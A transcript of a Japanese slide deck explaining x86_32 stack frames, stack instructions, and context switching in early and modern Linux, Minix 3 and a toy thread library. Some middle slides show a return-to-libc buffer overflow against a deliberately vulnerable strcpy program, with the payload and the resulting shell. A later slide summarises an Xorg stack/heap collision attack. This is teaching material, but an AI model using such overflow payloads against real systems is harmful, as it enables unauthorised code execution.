Upgrade to Pro — share decks privately, control downloads, hide ads and more …

x86 とコンテキストスイッチ

Sponsored · SiteGround - Reliable hosting with speed, security, and support you can count on.

x86 とコンテキストスイッチ

Avatar for Masami Ichikawa

Masami Ichikawa

August 21, 2010
Tweet

More Decks by Masami Ichikawa

Other Decks in Programming

Transcript

  1. 自己紹介 ・ Linux 好き - Fedora の Proven testers グループのメンバー

    - Fedora のテストを色々とやってます - 昔は Debian でパッケージのメンテしたり ・自作カーネルは一応経験済み
  2. はじめに • 特に明記しない限り、 x86_32 のプロテクトモー ドで、呼出規約は cdecl です [masami@ftest x86]$

    uname -a Linux ftest 2.6.33.6-147.fc13.i686 #1 SMP Tue Jul 6 22:30:55 UTC 2010 i686 i686 i386 GNU/Linux [masami@ftest x86]$ gcc -v Using built-in specs. Target: i686-redhat-linux コンフィグオプション : ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable- threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable- libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c+ +,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0- gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj- jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with- tune=generic --with-arch=i686 --build=i686-redhat-linux スレッドモデル : posix gcc version 4.4.4 20100630 (Red Hat 4.4.4-10) (GCC)
  3. Agenda Stack の 命令 Stack Stack の まとめ Stack の

    命令 Context Switch Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  4. Agenda Stack の 命令 Stack Stack の まとめ Stack の

    命令 Context Switch Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  5. Stack • SS レジスタが指すセグメントの領域 – スタックが絡む命令では CPU が自動的に参照 • フラットメモリモデルの場合

    –リニアアドレス空間にスタックを設定可 – 領域の大きさは、セグメント次第 • アクセスには esp 、 ebp を使用する • 関数単位でスタックフレームに分割される • メモリの高位アドレスから低位アドレスに 向かって領域が伸びていく
  6. esp と ebp • esp – スタックポインタ • スタックの末端のアドレスを指す •

    ebp – スタックフレームのベースポインタ – 減算することで、ローカル変数へアクセス – 加算することで、関数の引数へアクセス
  7. スタックフレーム - サンプル void test2(int a, int b) { char

    s[10]; } void test1(int a, int b) { int n = 10; int m = 20; test2(n + a, m + b); } int main(int argc, char **argv) { test1(1, 2); return 0; }
  8. スタックフレーム s Saved ebp Ret address a b n m

    Saved ebp Ret address a b Saved ebp main() のスタックフレーム test1() のスタックフレーム test2() のスタックフレーム esp test1() で引数の n と m にするには、この ようになる movl %eax, 8(%ebp) <- a にアクセス movl %edx, 12(%ebp) <- b にアクセス ローカル変数の場合は、 movl -4(%ebp), %eax <- m にアクセス movl -8(%ebp), %edx <- n にアクセス 高位アドレス 低位アドレス
  9. test1() 実行時のスタックフレーム (gdb) x/x $ebp + 0 0xbffff708: 0xbffff718 (gdb)

    x/x $ebp + 4 0xbffff70c: 0x080483e9 (gdb) x/x $ebp + 8 0xbffff710: 0x00000001 (gdb) x/x $ebp + 12 0xbffff714: 0x00000002 (gdb) x/x $ebp - 4 0xbffff704: 0x00000014 (gdb) x/x $ebp - 8 0xbffff700: 0x0000000a (gdb) x/20x $esp 0xbffff6f0: 0x005531e0 0x08048215 0x00555ce0 0x00554ff4 0xbffff700: 0x0000000a 0x00000014 0xbffff718 0x080483e9 0xbffff710: 0x00000001 0x00000002 0xbffff798 0x003e3cc6 0xbffff720: 0x00000001 0xbffff7c4 0xbffff7cc 0xb7fff3d0
  10. Agenda Stack Stack の まとめ Stack の 命令 Context Switch

    Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  11. Stack 操作の命令 - Push/Pop void push_pop(void) { int n =

    0x20; printf("before: n is 0x%x\n", n); asm volatile("push $0x10;\n\t" "pop % [output];\n\t" :[output] "=g"(n)); printf("after: n is 0x%x\n", n); } $ ./a.out before: n is 0x20 after: n is 0x10
  12. Stack 操作の命令 - Call/Ret void call001(void) { printf("call001-1\n"); asm ("pop

    %ebp;\n\t" "ret;\n\t"); printf("call001-2\n"); } void call_ret(void) { asm ("call call001;\n\t"); } $ ./a.out call001-1 call と ret 命令では、 cpu がリターンア ドレスをスタック [ に積む / から取得 ] するので、使用時にこの辺は気にしな くてもよい仕様になってます。
  13. Stack 操作の命令 - Enter/Leave .globl enter_leave /* int enter_leave(void) */

    enter_leave: /* Reserve 16 bytes stack frame */ enter $0x10, $0 movl $0x20, -4(%ebp) /* %eax is return value */ movl -4(%ebp), %eax /* Clear the stack frame */ leave ret /* 呼び出し */ printf("ret is %d\n",enter_leave()); $ ./a.out ret is 32 enter 命令の実行内容は、以下 の内容とほぼ等価です pushl %ebp movl %esp, %ebp subl $16, %esp
  14. eip • 次に実行する命令のアドレスが入る • eip を直接弄ることはありません • mov $0x10, %eip

    とかはできません • call 、 ret や jmp 命令など実行すると cpu が適切な値を eip にセット • eip はスタックに積まれるので、制御を 自分で変更したい場合はこちらを弄り ます
  15. 制御を自分で変える void hello2(void) { cout << __FUNCTION__ << endl; exit(0);

    } extern "C" __attribute__((fastcall)) int hello(int a, int b) { cout << a << ":" << b << endl; return 0; } int main(int argc, char **argv) { int a = 10, b = 20; unsigned long addr = (unsigned long) &hello2; __asm__ __volatile__("push %[ret_ip]\n\t" "jmp hello;\n\t" :: [ret_ip] "g" (addr), [arg_a] "c"(a), [arg_b] "d"(b)); return 0; } $ ./a.out 10:20 hello2
  16. Agenda Stack Stack の まとめ Stack の 命令 Context Switch

    Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  17. ここまでのまとめ void test(char *p) { char buf[64]; strcpy(buf, p); }

    int main(int argc, char **argv) { test(argv[1]); printf("ok\n"); return 0; }
  18. system() に渡す引数の準備 bt test$ BINSH=/bin/sh ; export BINSH bt test

    $ echo $BINSH /bin/sh bt test $ ./getenv environment[BINSH] is in 0xbfffff15
  19. メモリレイアウト 0xbfffff15 0xb7ece3a0 0xb7ed86e0 B*4 A*72 オーバーフロー用のゴミデータ BBBB で ebp

    が上書きされる system() のアドレス exit() のアドレス system() に渡す引数のアドレス 高位アドレス 低位アドレス
  20. 実行してみる bt test $ ltrace ./vuln `python -c 'print "A"*72

    + "BBBB" + "\xe0\x86\xed\xb7" + "\xa0\xe3\xec\xb7" + "\x15\xff\xff\xbf"'` __libc_start_main(0x80483ee, 2, 0xbffff614, 0x8048440, 0x80484a0 <unfinished ...> strcpy(0xbffff510, 0xbffff74c, 0, 0xbffff554, 0x6f6e2800) = 0xbffff510 sh-3.1$ id uid=1001(cola) gid=100(users) groups=100(users) sh-3.1$ exit exit --- SIGCHLD (Child exited) --- +++ exited (status 0) +++ bt test $
  21. Agenda Stack Stack の まとめ Stack の 命令 Context Switch

    Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  22. Context Switching • Hardware Context Switching –X86 のタスク切り替え機能を利用 –Linux の

    v0.01 はこちら • Software Context Switching –自分でタスクを切り替える •一部で cpu の機能を使う必要がある –今時のカーネルは普通こちら
  23. TSS • Hardware/Software コンテキストスイッチ どちらでも利用する – Hardware コンテキストスイッチは TSS 必須

    – Sfowtware コンテキストスイッチでは所用によ り使う • 各種レジスタ、セグメントなどの情報、 IO 許可 マップなどの情報を保存する領域
  24. Hardware Context Switching • CPU によるサポート – FPU 、 MMX

    、 SSE の切り替えは未サポート – GDT に TSS を置くので、タスク数は 8190 個 が最大 • あまり使われていない – モダンな OS で使われてるケースってあるので しょうか? • Why? – 遅い(らしい) – http://wiki.osdev.org/Context_Switching
  25. Hardware Context Switching の処理 • TSS を作り GDT に置く –

    TSS はプロセス毎 • ltr 命令で TSS をセットする – 1 つ目の TSS だけで OK • プロセスの切り替えは、 JMP/CALL 命令で 実施 – 各レジスタのセーブ・リストアに関しては CPU がやってくれる – FPU などは除く
  26. Software Context Switching • X86 の機能をフル活用しない –TSS の esp0 や

    IOBP などは利用しま す • タスク数の制限はない –プロセス単位に TSS ディスクリプタ が不要
  27. Software Context Switching の処理 • TSS を作り GDT に置く –

    Linux の場合、 TSS は cpu 毎 • ltr 命令で TSS をセットする – 1 つ目の TSS だけで OK • プロセスの切り替えはスタックの切り替えで実 施 – スタックを次のプロセスのものに切り替えて るのと、関数から戻るときにスタックに積ま れている eip を利用して切り替えを実施 – FPU などは自分で切り替える
  28. Agenda Stack Stack の まとめ Stack の 命令 Context Switch

    Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  29. Linux v0.01 - sched_init kernel/sched.c 231void sched_init(void) 232{ 233 int

    i; 234 struct desc_struct * p; 235 236 set_tss_desc(gdt+FIRST_TSS_ENTRY,&(init_task.task.tss)); 237 set_ldt_desc(gdt+FIRST_LDT_ENTRY,&(init_task.task.ldt)); snip 246 ltr(0); snip 254} include/linux/sched.h 154#define ltr(n) __asm__("ltr %%ax"::"a" (_TSS(n)) TSS ディスクリプタを GDT にセット * fork() 時は新プロセス用に作った TSS ディスクリプタをセットします ltr 命令で TSS をセットします。
  30. Linux v0.01 - copy_process() kernel/fork.c 61int copy_process(int nr,long ebp,long edi,long

    esi,long gs,long none, 64 long eip,long cs,long eflags,long esp,long ss) 65{ snip 70 p = (struct task_struct *) get_free_page(); 71 if (!p) 72 return -EAGAIN; 73 *p = *current; /* NOTE! this doesn't copy the supervisor stack */ 74 p->state = TASK_RUNNING; 75 p->pid = last_pid; snip 118 set_tss_desc(gdt+(nr<<1)+FIRST_TSS_ENTRY,&(p->tss)); 119 set_ldt_desc(gdt+(nr<<1)+FIRST_LDT_ENTRY,&(p->ldt)); 120 task[nr] = p; /* do this last, just in case */ 121 return last_pid; 70 行目以降で作った新しいプ ロセスのディスクリプタを設定
  31. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) {\ 169struct {long

    a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \ __tmp.b に gdt に設 定されている次のプ ロセスの TSS セレク タ値を代入
  32. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) {\ 169struct {long

    a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \ カレントプロセスと次のプロ セスが同一ならなにもしない
  33. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) {\ 169struct {long

    a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \ セグメント間ジャンプでプロセス 切り替え実行
  34. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) {\ 169struct {long

    a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \ 最後に FPU レジスタを使ったプロ セスと切り替え後のプロセスを比 較して同じだったら、 clts 命令を 実行い CR0 レジスタの TS フラグ をリセットする
  35. clts 命令と TS フラグ • CR0 レジスタの TS フラグをクリアする命令 •

    TS は Task Switch の略 • TS フラグはハードウェアコンテキストスイッチ 発生時に CPU によりセットされる • このフラグが立っているときに、浮動小数点命 令を使用すると例外( Device not available) が発 生する • この仕組みを利用して、 FPU レジスタの退避を 遅延させることができる
  36. Agenda Stack Stack の まとめ Stack の 命令 Context Switch

    Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  37. switch_to - 概要 arch/x86/include/asm/system.h 44/* 45 * Saving eflags is

    important. It switches not only IOPL between tasks, 46 * it also protects other tasks from NT leaking through sysenter etc. 47 */ 48#define switch_to(prev, next, last) \ このマクロはカレントプロセスの eip 、 esp 、 ebp の保存と、 次のプロセスのために eip 、 esp 、 ebp の設定、 __switch_to() の呼出をします。 __switch_to() から戻った時点で、プロセスが 切り替わっています。
  38. switch_to - 実行部分 57 unsigned long ebx, ecx, edx, esi,

    edi; \ 58 \ 59 asm volatile("pushfl\n\t" /* save flags */ \ 60 "pushl %%ebp\n\t" /* save EBP */ \ 61 "movl %%esp,%[prev_sp]\n\t" /* save ESP */ \ 62 "movl %[next_sp],%%esp\n\t" /* restore ESP */ \ 63 "movl $1f,%[prev_ip]\n\t" /* save EIP */ \ 64 "pushl %[next_ip]\n\t" /* restore EIP */ \ 65 __switch_canary \ 66 "jmp __switch_to\n" /* regparm call */ \ 67 "1:\t" \ 68 "popl %%ebp\n\t" /* restore EBP */ \ 69 "popfl\n" /* restore flags */ \
  39. __switch_to() の主な処理 • もし Prev プロセスが FPU を使っていた場合 は、 FPU

    レジスタを退避する • clts 命令の実行などもある • カーネル用のスタックを設定 • TSS の sp0 • Thread Local Storage へアクセス出きるよう にセグメントを設定 • I/O ポートへのアクセス権の設定
  40. プロセス切替の完了 __switch_to() から戻る場所は、 67 行目にセット されているので、 ebp と、 eflags をリストアす

    ることで switch_to() の処理は終了し、 Next プロ セスの実行が始まる。 67 "1:\t" \ 68 "popl %%ebp\n\t" /* restore EBP */ \ 69 "popfl\n" /* restore flags */ \
  41. プロセス切替時のスタックの様子 Prev プロセスの スタック ebp eflags XXX XXX esp pushl

    %%ebp pushfl movl %[next_sp],%%esp Next プロセスの スタック Ret Address XXX XXX pushl % [next_ip] esp jmp 命令で __switch_to() を呼 び、 __switch_to() から return するとき にきに ret 命令が Next プロセスのスタ ックから %next_ip を読込み、指定され た場所に戻る
  42. Agenda Stack Stack の まとめ Stack の 命令 Context Switch

    Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  43. Minix3.1.0 の Context Switch •kernel/mpx386.s に実装がある •_restart() がコンテキストスイッチを実行 •通常は c

    の関数からは呼ばれない • 同ファイルの割り込みハンドラから実行 •例外は kernel/main.c の main() で、終了時に呼 び出される • main() の最後に _restart() を呼ぶ • スケジューラにセットされたサーバプロセス の起動処理が走りだす
  44. _restart - 前半 _restart: cmp (_next_ptr), 0 jz 0f mov

    eax, (_next_ptr) mov (_proc_ptr), eax mov (_next_ptr), 0 0: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax _next_ptr は次のプロセス で、次のプロセスが無け れば、今のプロセスを継 続する
  45. _restart - 前半 _restart: cmp (_next_ptr), 0 jz 0f mov

    eax, (_next_ptr) mov (_proc_ptr), eax mov (_next_ptr), 0 0: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax _proc_ptr に _next_ptr をセ ットして、 _next_ptr を NULL にする LDT をセット
  46. _restart - LDT の設定 先ほど出てきた P_LDT_SEL はマクロで、 proc 構造体の配列 p_ldt

    にアクセスするために使用しています。このマクロを使用すること で、 lldt 命令の引数を正しくセットできます。 マクロは kernel/sconst.h にて定義。 struct proc { struct stackframe_s p_reg; /* process' registers saved in stack frame */ #if (CHIP == INTEL) reg_t p_ldt_sel; /* selector in gdt with ldt base and limit */ struct segdesc_s p_ldt[2+NR_REMOTE_SEGS]; /* CS, DS and remote segments */ #endif この p_ldt にアクセスする
  47. _restart - 前半 _restart: cmp (_next_ptr), 0 jz 0f mov

    eax, (_next_ptr) mov (_proc_ptr), eax mov (_next_ptr), 0 0: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax TSS の sp0 をセット
  48. Minix の TSS 構造体 kernel/protect.h struct tss_s { reg_t backlink;

    reg_t sp0; reg_t ss0; reg_t sp1; snip }; #define TSS3_S_SP0 4 mov (_tss+TSS3_S_SP0), eax ↑ の mov 命令で sp0 をセットするわけですが、その仕組み は単純で、 TSS を表す構造体 _tss の先頭からオフセット TSS3_S_SP0 バイト目にアクセスするだけです。 386 版の aMinix では reg_t は 4 バイトなので、先頭から 4 バ イト目は sp0 となり、目的の位置にアクセスできます。
  49. _restart - 後半 restart1: decb (_k_reenter) o16 pop gs o16

    pop fs o16 pop es o16 pop ds popad add esp, 4 iretd _restart() 内では使用しないラベル カーネルのリエントラント用 のカウンタをデクリメント iretd で抜けて処理が完了 スタックに積まれているリ ターンアドレスを無視
  50. Agenda Stack Stack の まとめ Stack の 命令 Context Switch

    Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  51. スレッド構造体 typedef struct _Thread { struct _Thread *next; int thread_id;

    unsigned long context[CONTEXT_SIZE]; char *stack_top; /* NULL if this is main() thread */ int status; } Thread;
  52. メインスレッド void ThreadMain(int argc, char **argv) { int t1, t2;

    t1 = ThreadCreate(f, 1); printf("create a new thread (i=%d) [id=%d]\n", 1, t1); t2 = ThreadCreate(f, 2); printf("create a new thread (i=%d) [id=%d]\n", 2, t2); ThreadYield(); printf("main thread finished.\n"); }
  53. スレッド生成 - 前半 int ThreadCreate(ThreadProc proc, unsigned long arg) {

    Thread *child; unsigned long addr = (unsigned long) ThreadStart; unsigned long stack_start = 0; child = AllocateThread(); child->stack_top = malloc(STACK_ALLOC_SIZE); memset(child->stack_top, 0, STACK_ALLOC_SIZE); stack_start = (unsigned long) child->stack_top + STACK_SIZE; memcpy((char *) stack_start, &addr, sizeof(addr));
  54. スレッド生成 - 後半 child->context[0] = stack_start; child->context[1] = stack_start; child->context[2]

    = (unsigned long) proc; child->context[3] = arg; child->status = RUNNING; LinkThread(child); return child->thread_id; }
  55. ThreadYeild- 前半 void ThreadYield() { Thread *t; int found =

    0; for (t = threadList->next; t; t = t->next) { if (t && t->status == RUNNING && t != currentThread) { found = 1; break; } }
  56. ThreadYeild- 後半 if (found) { Thread *cur = currentThread; currentThread

    = t; printf("switch id %d to %d\n", cur->thread_id, t->thread_id); _ContextSwitch(cur->context, t->context); } else if (currentThread->thread_id == MAIN_THREAD_ID) { // main thread's state is FINISH. printf("There is only main thread\n"); } else { printf("There is no active thread\n"); } }
  57. _ContextSwitch //void _ContextSwitch(void* old_context, void* new_context); .globl ENTRY(_ContextSwitch) ENTRY(_ContextSwitch): movq

    %rdi, %rax // old movq %rsp, 0(%rax) movq %rbp, 8(%rax) movq %rdi, 16(%rax) movq %rsi, 24(%rax) movq %rsi, %rax // new movq 0(%rax), %rsp movq 8(%rax), %rbp movq 16(%rax), %rdi // arg1 movq 24(%rax), %rsi // arg2 ret
  58. スレッドの実行内容 void f(int i) { int n = 0; for

    (n = 0; n < 10; n++) { printf("thread(%d): %d.\n", i, n); ThreadYield(); } printf("thread (i=%d) finished.\n", i); }
  59. 実行結果 [masami@moon]~/experiment/thread% ./test1 create a new thread (i=1) [id=1] create

    a new thread (i=2) [id=2] switch id 0 to 2 thread(2): 0. switch id 2 to 1 thread(1): 0. switch id 1 to 2 ~ switch id 1 to 2 thread (i=2) finished. switch id -1 to 1 thread (i=1) finished. switch id -1 to 0 main thread finished.
  60. 追加スライド • Linux カーネルの脆弱性のレポート – Exploiting large memory management vulnerabilities

    in Xorg server running on Linux • スタック & ヒープ領域に絡んだ話です – デフォルトインストールの Fedora 13 で 再現 • F13 は selinux 有効、 exec-shiled パッ チ有りがデフォルトです
  61. 概要 •スタックとヒープを大量に使った場合の問題 • スタックとヒープが重なったら危険! •Xorg の MIT-SHM という拡張機能を使ってい ると exploit

    の効果が抜群 • この拡張を無効にすれば exploit の信頼性が落 ちるけど、 Xorg の機能性も落ちる
  62. シナリオ •X サーバに大量のメモリを確保させる • x86_32 では実行する必要なし •共有メモリ S を限界まで確保させる •関数

    F の再帰呼び出しを繰り返し実行させる •S の領域に 0 以外のデータが入っている場所 を探す • スタックフレームとヒープが重なった!
  63. シナリオ •プロセス W を立ち上げて、 S 内のデータを payload で書き換える •F が関数から戻るときはスタックからリター

    ンアドレスを取得する • この時に payload を読み込んだらゲームオー バー • W による書き換えと、 F がリターンアドレス を取得するタイミングでレースがある • でも、ほとんどの SMP システムでは上手く できる
  64. リファレンス • Insecure Programming by example – http://community.corest.com/~gera/InsecureProgramming/ • OSDev.org

    – http://wiki.osdev.org/Main_Page • Hacking: 美しき策謀 —脆弱性攻撃の理論と実際 – http://www.amazon.co.jp/dp/4873112303 • xorg-large-memory-attack.pdf – http://www.invisiblethingslab.com/resources/misc- 2010/xorg-large-memory-attacks.pdf